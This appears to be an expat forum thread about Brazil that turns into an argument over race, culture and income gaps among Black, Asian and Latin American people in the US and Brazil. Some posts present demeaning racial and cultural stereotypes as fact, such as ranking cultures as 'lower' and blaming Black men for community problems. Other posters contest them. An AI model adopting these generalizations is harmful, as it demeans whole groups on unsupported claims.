    I would also venture to guess that Brazil, with its HUGE ex-slave population that speaks something-other-than-correct-Portuguese (according to Portuguese people), also has this class differentiation through language, both inside and outside Brazil. The average Brazilian that I know – no matter how educated – has the same language mastery problems as Black Americans that have been segregated into Black majority communities. And because they are mostly surrounded by other Brazilians who use the language incorrectly, it is very difficult for them to master formal Portuguese. It is why many Brazilians, who are considered “white” in Brazil, are often surprised when racist vitriol is hurled at them outside of the country – particularly in Portugal (though many of them will insist that Portuguese people do not like ANY foreigners). And it is the origin of the deeply felt inferiority complex many “white” Brazilians feel when they travel to other places. They have a tendancy to insist they they are somehow European when in Brazil, but most of the ones that I have met seem to carry a deep seeded sadness/anger that they are “mearly” Brazilian. I have only observed this with upper-class Brazilians. The lower classes have a lot of pride in Brazil and tend not to concern themselves with comparing themselves to other countries.

    bamabrasileira2014-09-23 10:32:12

  • #270340

    romanji
    Member

    [QUOTE=The Abbot][QUOTE=Zummbot][QUOTE=The Abbot][QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? [/QUOTE]

    It’s not necessary when your culture isn’t “podre” like some are. This idea that all cultures are equal is complete BS. Some cultures are superior to others. If you are of a superior culture, like some asians, no need to assimilate. You plug into the system and excel. If you are from some of the lower cultures, like say, Latin America, including Brazil, you plug into the system and fail. *edit: if you do not assimilate.

    [/QUOTE]

    I think you gents are a bit confused. Culture matters, but far less than you think. What you think of as a difference of “culture” is mostly just a difference of opportunity. Let’s use your asian example. By and large asians in the United States do very well for themselves, as you’ve pointed out. As a racial group they have high incomes and promising careers compared to other groups in the US. However once you leave the US and take a look around Asia proper it’s rife with poverty. Hmmm… How could that be? Asians in the US do so well, yet the vast majority of asians in mainland China, India, the Philippines, etc are living hand to mouth. Something seems to be amiss.
    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.
    4) Illegal immigrants. How they get in I don’t know. But they do. Maybe they came on a tourist visa and overstayed. These are the ones who work in that new chinese restaurant down the street. They work like dogs, and probably send most of their earnings back to Asia. Sometimes if they’re lucky they’ll rise to the level of 3, but usually this is where their family stays.
    Now you as a (presumably) white, middle class guy in the US of A only ever interact with the 1’s and 2’s who you see at work/school (and 3’s if you’re ordering takeout). So from your perspective pretty much all asians do very well for themselves, so you start to think wow, those asians come here from impoverished countries and assimilate and live the American dream. What a great culture! Maybe Confucius was on to something… But you’d be mistaken. The vast majority of the asians you interact with are the ones who had the means to immigrate to the US and would have done very well even if they had stayed in their home countries. They came withopportunity, they didn’t find it here.

    Now let’s compare that to the Black community here in the US. They were forcibly brought here in chains, suffered unspeakable horrors for generations as slaves, then when they were “freed” after the civil war they suffered state-sponsored violence and discrimination through Jim Crow laws (aka separate but equal) that lasted until the 60’s. Yet even after the fact overt state-sponsored discrimination continues, as can be seen through our justice system, and especially the unequal incarceration and execution of blacks vs. whites for the same crimes. Don’t even get me started on the school system. I could go on and on, but the point is blacks did not arrive in this country with one iota of opportunity. Actually, they don’t even get to start from zero. They start from a position of overwhelming disadvantage in life. This history of blood and discrimination has left scars that will not be mended anytime soon. And yes there are “cultural” things that only the black community can fix. But it will take time. Do not blame the victims. Just realize that when you speak of “culture”, you are actually referring to opportunity.


    [/QUOTE]

    You need to read some history, son.

    [/QUOTE]

    Enlighten me. Because as it stands I don’t think you know what you’re talking about, chief.
  • #270346

    ffm
    Member

    [QUOTE=Zummbot][QUOTE=The Abbot][QUOTE=Zummbot][QUOTE=The Abbot][QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? [/QUOTE]

    It’s not necessary when your culture isn’t “podre” like some are. This idea that all cultures are equal is complete BS. Some cultures are superior to others. If you are of a superior culture, like some asians, no need to assimilate. You plug into the system and excel. If you are from some of the lower cultures, like say, Latin America, including Brazil, you plug into the system and fail. *edit: if you do not assimilate.

    [/QUOTE]

    I think you gents are a bit confused. Culture matters, but far less than you think. What you think of as a difference of “culture” is mostly just a difference of opportunity. Let’s use your asian example. By and large asians in the United States do very well for themselves, as you’ve pointed out. As a racial group they have high incomes and promising careers compared to other groups in the US. However once you leave the US and take a look around Asia proper it’s rife with poverty. Hmmm… How could that be? Asians in the US do so well, yet the vast majority of asians in mainland China, India, the Philippines, etc are living hand to mouth. Something seems to be amiss.
    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.
    4) Illegal immigrants. How they get in I don’t know. But they do. Maybe they came on a tourist visa and overstayed. These are the ones who work in that new chinese restaurant down the street. They work like dogs, and probably send most of their earnings back to Asia. Sometimes if they’re lucky they’ll rise to the level of 3, but usually this is where their family stays.
    Now you as a (presumably) white, middle class guy in the US of A only ever interact with the 1’s and 2’s who you see at work/school (and 3’s if you’re ordering takeout). So from your perspective pretty much all asians do very well for themselves, so you start to think wow, those asians come here from impoverished countries and assimilate and live the American dream. What a great culture! Maybe Confucius was on to something… But you’d be mistaken. The vast majority of the asians you interact with are the ones who had the means to immigrate to the US and would have done very well even if they had stayed in their home countries. They came withopportunity, they didn’t find it here.

    Now let’s compare that to the Black community here in the US. They were forcibly brought here in chains, suffered unspeakable horrors for generations as slaves, then when they were “freed” after the civil war they suffered state-sponsored violence and discrimination through Jim Crow laws (aka separate but equal) that lasted until the 60’s. Yet even after the fact overt state-sponsored discrimination continues, as can be seen through our justice system, and especially the unequal incarceration and execution of blacks vs. whites for the same crimes. Don’t even get me started on the school system. I could go on and on, but the point is blacks did not arrive in this country with one iota of opportunity. Actually, they don’t even get to start from zero. They start from a position of overwhelming disadvantage in life. This history of blood and discrimination has left scars that will not be mended anytime soon. And yes there are “cultural” things that only the black community can fix. But it will take time. Do not blame the victims. Just realize that when you speak of “culture”, you are actually referring to opportunity.


    [/QUOTE]

    You need to read some history, son.

    [/QUOTE]

    Enlighten me. Because as it stands I don’t think you know what you’re talking about, chief.

    [/QUOTE]

    You got one thing right. Wink
  • #270350

    celso
    Member

    Like Obama and his wife, most blacks in America are of mixed blood. Mainly NE European stock. So the situation is complicated.
    In Brazil! the Portuguese brought in 10 to 12 times more slaves than the USA. Brazil faces problem 10x bigger or more since they have a population much smaller than the USA so their problem is at least 13 to 15 times bigger. Toss in the mixing with Portuguese settlers, you can double the size of the problem to 26 to 30.
    Factor in later end to slavery, and dire public schools with a culture that does not value books or learning. You can double it again.
    Toss in corruption for another double and violence as well. Complicated, very complicated.

  • #270412

    praia gato
    Member

    Late to the table but anyway.
    All valid and truthful points.
    My reply to “how do you like Brasil” is “it is home”. Been here awhile and it satisfying the asker without getting into real details.
    Food here (Northeast) is strictly survival rations and is very slow to change. Options at the supermarket and open markets are limited.
    Beef raised here serves for one purpose, hamburger meat. I swear every animal butchered died of hunger.
    In the restaurants and elsewhere they always ask “how is the food? Did you like it?” People here will undoubtably nod their head and say “muito bom” with a mouth full of dogsh*t.
    I am always accused of being rude because I will speak up when someone cuts line, visits in the checkout line, tries to pass when not their turn, plays their music unbearably loud, etc etc. When I point out that I was not the first one that was rude, they usually sit back and think about it and then agree.
    Drivers are the worst. Assholes as soon as they get in their blackout window cars. I refer to it as hiding the ignorance within.
    All that you wrote is very accurate but as above, it is still home.

  • #270414

    [QUOTE=cableslack]Late to the table but anyway.
    All valid and truthful points.
    My reply to “how do you like Brasil” is “it is home”. Been here awhile and it satisfying the asker without getting into real details.
    Food here (Northeast) is strictly survival rations and is very slow to change. Options at the supermarket and open markets are limited.
    Beef raised here serves for one purpose, hamburger meat. I swear every animal butchered died of hunger.
    In the restaurants and elsewhere they always ask “how is the food? Did you like it?” People here will undoubtably nod their head and say “muito bom” with a mouth full of dogsh*t.
    I am always accused of being rude because I will speak up when someone cuts line, visits in the checkout line, tries to pass when not their turn, plays their music unbearably loud, etc etc. When I point out that I was not the first one that was rude, they usually sit back and think about it and then agree.
    Drivers are the worst. Assholes as soon as they get in their blackout window cars. I refer to it as hiding the ignorance within.
    All that you wrote is very accurate but as above, it is still home.
    [/QUOTE]
    How long have you been in Brazil for? I don’t live in the NE, thank G*D. Maybe you should try a different area. Are there fewer options than the first world? Of course. I think that applies to all of Brazil – at least of having fewer choices. But there are still some good stuff for just about everything.
    As far as cutting in line goes, I’ve only called someone on it once. In the typical “I’m the victim fashion”, she claimed she was just trying to get the attention of her friend. She knew she was wrong. End of story. I was the bad guy. I don’t care.
    There comes a time when you just GIVE UP. Either you accept it just the way that is and try to make the best of it and be happy, or you live unhappy. There’s good and bad everywhere. Good luck!

  • #270415

    chrish
    Member

    [QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? If you look at the better public schools in urban areas, they’re located in areas that are predominantly white/asian, while the ones that receive less money are located in poverty-stricken areas where Black/Hispanic people are primarily located. Where I live in California, Asians aren’t even a minority and they act the same way as white people do and they have the same privileges (for the most part)[/QUOTE]

    schools in America are funded by local property tax. the reason black schools receive less money than asian and white schools is because black neighborhoods don’t collect as much property tax due to higher unemployment; high crime and incarceration rates for black males; single mom households living in public housing.
    The single biggest problem with the black community is black males having a ton of kids that they cannot afford with one or multiple females, and/or either abandoning the household or committing crimes and going to jail. Asians move to America without a dime in their pockets, they stick together and within 3 generations they are earning $90k a year per household, end of story.
  • #270417

    chrish
    Member

    [QUOTE=Zummbot]

    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.

    [/QUOTE]

    lol. wait, let me get this straight: You really think the Chinatowns and Koreatowns of America were built by immigrant IT programmers and offspring of Asian elite? Oh man, just shaking my head. You’re completely clueless Disapprove
    The vast majority of Asians that migrated to America in the 20th century were dirt poor. They work hard to set up businesses such as Liquor Stores like the Koreans do in Los Angeles. Then they save money to send their kids to a university and within 2 generations they earn more money then white people do. The reason they didn’t succeed back home was because of tyrant governments such as old communist China. Most of Asia will be developed by the end of this century, Korea Japan and the big cities in China mostly already are.

    marcobjj2014-09-25 09:00:27

  • #270418

    ffm
    Member

    [QUOTE=marcobjj][QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? If you look at the better public schools in urban areas, they’re located in areas that are predominantly white/asian, while the ones that receive less money are located in poverty-stricken areas where Black/Hispanic people are primarily located. Where I live in California, Asians aren’t even a minority and they act the same way as white people do and they have the same privileges (for the most part)[/QUOTE]

    schools in America are funded by local property tax. the reason black schools receive less money than asian and white schools is because black neighborhoods don’t collect as much property tax due to higher unemployment; high crime and incarceration rates for black males; single mom households living in public housing.
    The single biggest problem with the black community is black males having a ton of kids that they cannot afford with one or multiple females, and/or either abandoning the household or committing crimes and going to jail. Asians move to America without a dime in their pockets, they stick together and within 3 generations they are earning $90k a year per household, end of story.

    [/QUOTE]

    THAT’S RACIST*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    *(100% true)
  • #270419

    ffm
    Member

    [QUOTE=marcobjj][QUOTE=Zummbot]

    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.

    [/QUOTE]

    lol. wait, let me get this straight: You really think the Chinatowns and Koreatowns of America were built by IT programmers and offspring of Asian elite? Oh man, just shaking my head. You’recompletely clueless Disapprove
    The vast majority of Asians that migrated to America in the 20th century were dirt poor. They work hard to set up businesses such as Liquor Stores like the Koreans do in Los Angeles. Then they save money to send their kids to a university and within 2 generations they earn more money then white people do. The reason they didn’t succeed back home was because of tyrant governments such as old communist China. Most of Asia will be developed by the end of this century, Korea Japan and the big cities in China mostly already are.

    [/QUOTE]

    Exactly. I didn’t want to waste my breath with this fool.
  • #270421

    chrish
    Member

    [QUOTE=Zummbot][QUOTE=The Abbot]

    You need to read some history, son.

    [/QUOTE]

    Enlighten me. Because as it stands I don’t think you know what you’re talking about, chief.

    [/QUOTE]

    you live in a fantasy world dude.
  • #270422

    chrish
    Member

    [QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? If you look at the better public schools in urban areas, they’re located in areas that are predominantly white/asian, while the ones that receive less money are located in poverty-stricken areas where Black/Hispanic people are primarily located. Where I live in California, Asians aren’t even a minority and they act the same way as white people do and they have the same privileges (for the most part)[/QUOTE]

    lol @ such thing as an “Asian privilege” ! what’s wrong with you people. I live in California too and Asians are most definitely a minority, I don’t know what you think minority means but they are only 13% of the population, that’s minority by definition. And what do you mean by “Asians act the same way as white people do”? as in, they study and work hard and don’t abandon their wives and kids? You live in California but it looks like you have your eyes shut and your ears very open to bullsh*t left wing propaganda.

    marcobjj2014-09-25 09:24:02

  • #270426

    chrish
    Member

    [QUOTE=GreatBallsoFire]Like Obama and his wife, most blacks in America are of mixed blood. Mainly NE European stock. So the situation is complicated.
    In Brazil! the Portuguese brought in 10 to 12 times more slaves than the USA. Brazil faces problem 10x bigger or more since they have a population much smaller than the USA so their problem is at least 13 to 15 times bigger. Toss in the mixing with Portuguese settlers, you can double the size of the problem to 26 to 30.
    Factor in later end to slavery, and dire public schools with a culture that does not value books or learning. You can double it again.
    Toss in corruption for another double and violence as well. Complicated, very complicated.[/QUOTE]

    Toss in a Catholic culture that looks down on earning money; Toss in the marxist scum the runs government, media and academia. Problem becomes 1000x larger.
  • #270427

    chrish
    Member

    [QUOTE=bamabrasileira]

    I would also venture to guess that Brazil, with its HUGE ex-slave population that speaks something-other-than-correct-Portuguese (according to Portuguese people), also has this class differentiation through language, both inside and outside Brazil.

    [/QUOTE]

    there’s no such thing as correct brazilian portuguese according to Portuguese people. Brazil and Portugal haven’t been the same country for almost 200 years and the languages have diverged. African Americans and White Americans still live in the same country. There’s no ebonics in Brazil. A black person from São Paulo speaks the same italian accent as a white person from São Paulo, black person from Rio the same carioca malandro accent as white people in Rio. “Ebonics” is just a piss poor excuse for failing to grasp the basics of english.

    marcobjj2014-09-25 09:51:47

  • #270435

    Steven
    Participant

    [QUOTE=The Abbot][QUOTE=marcobjj][QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? If you look at the better public schools in urban areas, they’re located in areas that are predominantly white/asian, while the ones that receive less money are located in poverty-stricken areas where Black/Hispanic people are primarily located. Where I live in California, Asians aren’t even a minority and they act the same way as white people do and they have the same privileges (for the most part)[/QUOTE]

    schools in America are funded by local property tax. the reason black schools receive less money than asian and white schools is because black neighborhoods don’t collect as much property tax due to higher unemployment; high crime and incarceration rates for black males; single mom households living in public housing.
    The single biggest problem with the black community is black males having a ton of kids that they cannot afford with one or multiple females, and/or either abandoning the household or committing crimes and going to jail. Asians move to America without a dime in their pockets, they stick together and within 3 generations they are earning $90k a year per household, end of story.

    [/QUOTE]

    THAT’S RACIST*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    *(100% true)

    [/QUOTE]

    I agree that the way he says it is racist but there is some basis in fact to what he says. But it goes back to my original point that the situation got the way it is because whites in the U.S. succeeded in extending slavery for another 100 years after the civil war ended through Jim Crow legislation. We wanted them to have a separate subculture and we succeeded.
  • #270436

    ffm
    Member

    [QUOTE=Steven][QUOTE=The Abbot][QUOTE=marcobjj][QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? If you look at the better public schools in urban areas, they’re located in areas that are predominantly white/asian, while the ones that receive less money are located in poverty-stricken areas where Black/Hispanic people are primarily located. Where I live in California, Asians aren’t even a minority and they act the same way as white people do and they have the same privileges (for the most part)[/QUOTE]

    schools in America are funded by local property tax. the reason black schools receive less money than asian and white schools is because black neighborhoods don’t collect as much property tax due to higher unemployment; high crime and incarceration rates for black males; single mom households living in public housing.
    The single biggest problem with the black community is black males having a ton of kids that they cannot afford with one or multiple females, and/or either abandoning the household or committing crimes and going to jail. Asians move to America without a dime in their pockets, they stick together and within 3 generations they are earning $90k a year per household, end of story.

    [/QUOTE]

    THAT’S RACIST*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    *(100% true)

    [/QUOTE]

    I agree that the way he says it is racist but there is some basis in fact to what he says. But it goes back to my original point that the situation got the way it is because whites in the U.S. succeeded in extending slavery for another 100 years after the civil war ended through Jim Crow legislation. We wanted them to have a separate subculture and we succeeded.

    [/QUOTE]

    I do not think what he said was racist at all. My comment was tongue in cheek because whenever you get at the real problem, one gets called a racist. Of course, these are not the only problems. History plays a role. Being slaves one day, thrown on your butt another did not help. Jim Crow laws are a disgrace to humanity! But, blaming the past and not trying to move forward reminds me a lot of our Brazilian friends who love to blame everything on the Portuguese and other happenings from generations ago.
    I think of the Latinos who go to the US and do not even speak English and do well for themselves. How? Because of their stellar education? Because of their excellent work ethic brought from their home country? No, they see an opportunity and grab it. There are people in the US who just make excuses. I have some in my family!!!!
    If one generation of the “loser” class (race aside because there is plenty of white trash making up this group) decided to not procreate or at least procreate less, 15-20 would see a lot less social ills.
  • #270443

    chrish
    Member

    [QUOTE=The Abbot]

    I do not think what he said was racist at all. My comment was tongue in cheek because whenever you get at the real problem, one gets called a racist.

    [/QUOTE]

    yup, thanks. That post not being politically correct or apologetic doesn’t make it racist. Everything in that post is based in fact, racist is the person who pulls the race card in face of the facts.
  • #270447

    Anonymous

    [QUOTE=marcobjj][QUOTE=bamabrasileira]

    I would also venture to guess that Brazil, with its HUGE ex-slave population that speaks something-other-than-correct-Portuguese (according to Portuguese people), also has this class differentiation through language, both inside and outside Brazil.

    [/QUOTE]

    there’s no such thing as correct brazilian portuguese according to Portuguese people. Brazil and Portugal haven’t been the same country for almost 200 years and the languages have diverged. African Americans and White Americans still live in the same country. There’s no ebonics in Brazil. A black person from São Paulo speaks the same italian accent as a white person from São Paulo, black person from Rio the same carioca malandro accent as white people in Rio. “Ebonics” is just a piss poor excuse for failing to grasp the basics of english.

    [/QUOTE]

    LOL! Good thing the king of the world is here to set us all straight with his personal opinion rather than cold, hard facts and documented evidence! PLEASE tell us where the government is hiding all the aliens! Are they all at your house??Big smileAlso, while you are at it, have you solved the mystery of Cold Fusion yet??LOLPlease hide your inferiority complex a bit better the next time around!

    bamabrasileira2014-09-25 18:51:17

  • #270449

    romanji
    Member

    [QUOTE=The Abbot][QUOTE=marcobjj][QUOTE=Zummbot]

    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.

    [/QUOTE]

    lol. wait, let me get this straight: You really think the Chinatowns and Koreatowns of America were built by IT programmers and offspring of Asian elite? Oh man, just shaking my head. You’recompletely clueless Disapprove
    The vast majority of Asians that migrated to America in the 20th century were dirt poor. They work hard to set up businesses such as Liquor Stores like the Koreans do in Los Angeles. Then they save money to send their kids to a university and within 2 generations they earn more money then white people do. The reason they didn’t succeed back home was because of tyrant governments such as old communist China. Most of Asia will be developed by the end of this century, Korea Japan and the big cities in China mostly already are.

    [/QUOTE]

    Exactly. I didn’t want to waste my breath with this fool.

    [/QUOTE]

    Seriously? Ok one, do you know WHEN asians ever had incomes comparable to whites? Um.. It wasn’t in the 50’s. It wasn’t in the 80’s. It was RECENTLY! When new educated immigrants came over!
    And have you ever been to a Chinatown or a Korea town? Like in any city? They’re NOT wealthy areas! Do you want to compare incomes in Chinatown with white areas like the Upper East Side? You can’t be serious. The ones who opened the liquor store or chinese restaurant are the EXCEPTIONS, not the rule. There’s 100 poor immigrants for every 1 successful business owner! The ones who make it big MOVE OUT of Chinatown!
    Your arguments about culture are simply veiled arguments for genetics that were disproven a long time ago. Equal opportunity = equal outcomes. Period.
  • #270450

    romanji
    Member
    @Abbot and marcobjj:
    To close this ridiculous discussion about asians in the US, read ’em and weap:

    Let me highlight some of the best parts for you:
    “Asians recently passed Hispanics as the largest group of new immigrants to the United States. The educational credentials of these recent arrivals are striking. More than six-in-ten (61%) adults ages 25 to 64 who have come from Asia in recent years have at least a bachelor’s degree. This is double the share among recent non-Asian arrivals, and almost surely makes the recent Asian arrivals the most highly educated cohort of immigrants in U.S. history.”

    “Recent Asian immigrants are also about three times as likely as recent immigrants from other parts of the world to receive their green cardsâ‚Ǩor permanent resident statusâ‚Ǩon the basis of employer rather than family sponsorship (though family reunification remains the most common legal gateway to the U.S. for Asian immigrants, as it is for all immigrants).”

    “Large-scale immigration from Asia did not take off until the passage of the landmark Immigration and Nationality Act of 1965. Over the decades, this modern wave of immigrants from Asia has increasingly become more skilled and educated. Today, recent arrivals from Asia are nearly twice as likely as those who came three decades ago to have a college degree, and many go into high-paying fields such as science, engineering, medicine and finance.”
    Now to your credit, the article does identify cultural attributes of the US asian population that allows them to flourish in addition to their education. A commitment to hard work, a dedication to marriage and child-rearing, etc. I acknowledged such in my original post as well. However my main point has been all along that recent immigrants from Asia are more educated and mostly bring opportunity with them to this country. However, hispanics also have a dedication to marriage and child-rearing, and they certainly have a commitment to hard work. But they have not come anywhere close to the gains that asians have seen, and that is purely due to a lack of education and opportunity that asians enjoy.
  • #270451

    chrish
    Member
    [quote]

    adults ages 25 to 64 who have come from Asia in RECENT YEARS have at least a bachelor’s degree.”

    [/quote]


    get it now? it’s a new, 21st century trend. The vast, VAST majority of Asians who come to america historically were POOR and uneducated still managed to become the highest income race in America in a couple of generations, above even whites. How dense are you?


    marcobjj2014-09-25 21:57:01

  • #270452

    chrish
    Member

    [QUOTE=Zummbot]

    Seriously? Ok one, do you know WHEN asians ever had incomes comparable to whites? Um.. It wasn’t in the 50’s. It wasn’t in the 80’s.

    [/QUOTE]

    Yes it was:
    are you done arguing this now?

    marcobjj2014-09-25 22:04:16

  • #270453

    Anonymous

    [QUOTE=Zummbot]

    @Abbot and marcobjj:
    To close this ridiculous discussion about asians in the US, read ’em and weap:

    Let me highlight some of the best parts for you:
    “Asians recently passed Hispanics as the largest group of new immigrants to the United States. The educational credentials of these recent arrivals are striking. More than six-in-ten (61%) adults ages 25 to 64 who have come from Asia in recent years have at least a bachelor’s degree. This is double the share among recent non-Asian arrivals, and almost surely makes the recent Asian arrivals the most highly educated cohort of immigrants in U.S. history.”

    “Recent Asian immigrants are also about three times as likely as recent immigrants from other parts of the world to receive their green cardsâ‚Ǩor permanent resident statusâ‚Ǩon the basis of employer rather than family sponsorship (though family reunification remains the most common legal gateway to the U.S. for Asian immigrants, as it is for all immigrants).”

    “Large-scale immigration from Asia did not take off until the passage of the landmark Immigration and Nationality Act of 1965. Over the decades, this modern wave of immigrants from Asia has increasingly become more skilled and educated. Today, recent arrivals from Asia are nearly twice as likely as those who came three decades ago to have a college degree, and many go into high-paying fields such as science, engineering, medicine and finance.”
    Now to your credit, the article does identify cultural attributes of the US asian population that allows them to flourish in addition to their education. A commitment to hard work, a dedication to marriage and child-rearing, etc. I acknowledged such in my original post as well. However my main point has been all along that recent immigrants from Asia are more educated and mostly bring opportunity with them to this country. However, hispanics also have a dedication to marriage and child-rearing, and they certainly have a commitment to hard work. But they have not come anywhere close to the gains that asians have seen, and that is purely due to a lack of education and opportunity that asians enjoy.

    [/QUOTE]

    Be careful Zummbot! A LOT of (middle class – rich, often Caucasian, Americans) are married to the idea that all of the people in America who do well, especially themselves and all of their ancestors who chose to go to America, do so ONLY due to their own “merit” (see privilege). They also have no idea that many of the professionals you are talking about came to the country without speaking the language, or without the necessary credentials to practice their professions in America, so they started businesses of their own so they could earn money and put pressure on their children to succeed. They do not know that the Asians that you speak about are not peasants from the countryside. They also do not see how being an illegal Mexican (or Central or South American) might cause these people to come into the country and try to blend in as much as possible, while trying to create a better future for their children (many of whom, as we are now well aware of, are also undocumented).
